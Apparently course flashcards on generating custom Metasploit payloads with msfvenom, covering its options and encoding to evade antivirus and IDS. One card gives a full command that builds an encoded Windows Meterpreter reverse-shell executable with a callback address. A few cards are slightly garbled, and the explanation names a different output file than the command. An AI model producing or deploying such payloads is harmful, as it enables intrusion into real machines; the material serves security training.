17.3 Custom Payloads with msfvenom Flashcards
What are payloads?
A payload is the shell code that runs when an exploit successfully compromises a system.
What do attackers build custom payloads?
Attackers typically build custom payloads that they can use in phishing emails or add to their websites. When unsuspecting users click the link for the malicious payload, their computers are infected
Custom payloads allow customization of various payload options such as:
- Architecture
- Shell type
- Reverse
- Bind
- Meterpreter
- Other proprietary C2 shell
In order to create custom payloads, attackers use a tool called ______, which is Metasploit framework tool used to _____________.
In order to create custom payloads, attackers use a tool called msfvenom, which is Metasploit framework tool used to generate and encode payloads.
Metasploit doesneeds to be running in order to use msfvenom.
False
Metasploit does not need to be running in order to use msfvenom.
While it’s relatively easy to create custom payloads, the real challenge is ____________.
While it’s relatively easy to create custom payloads, the real challenge is creating a payload that bypasses network detection by IDS and antivirus (AV) solutions.
________ is a method used to evade detection tools.
**Encoding** is a method used to evade detection tools.
How does encoding evade detection?
- It changes the signature of an exploit or payload, creating a new signature that has no written rule.
- This change in signature allows payloads to bypass detection from AV and IDS tools that detect known malicious signatures.
The most important msfvenom options are:
- -p –
- -e –
- -a –
- -s –
- -i –
- -x –
- -o –
- -p – designates the Metasploit payload we want to use.
- -e – designates the encoder we want to use.
-
-a – designates the architecture we want to use (the default is
x86
). - -s – designates the maximum size of the payload.
- -i – designates the number of iterations with which to encode the payload.
- -x – designates a custom executable file to use as a template.
- -o – designates an output file to be created, specifying its name and location.
Explain the following command:
msfvenom -p windows/meterpreter/reverse_tcp -a x86 -e x86/shikata_ga_nai -f exe -o /tmp/hack.exe LHOST=192.168.0.8 LPORT=4444
- msfvenom
: Launches the msfvenom
program.
- -p
: Indicates payload.
- windows/meterpreter/reverse_tcp
: The Metasploit command module.
- -a x86
: Designates the architecture we will use. x86
is default.
- -e x86/shikata_ga_nai
: Designates the encoder we will use.
- -f exe
: Indicates the file type to create. In this case, .exe
.
- -o /tmp/malware.exe
: Creates an output file, naming the file (malware.exe
) and location (inside the /tmp
directory).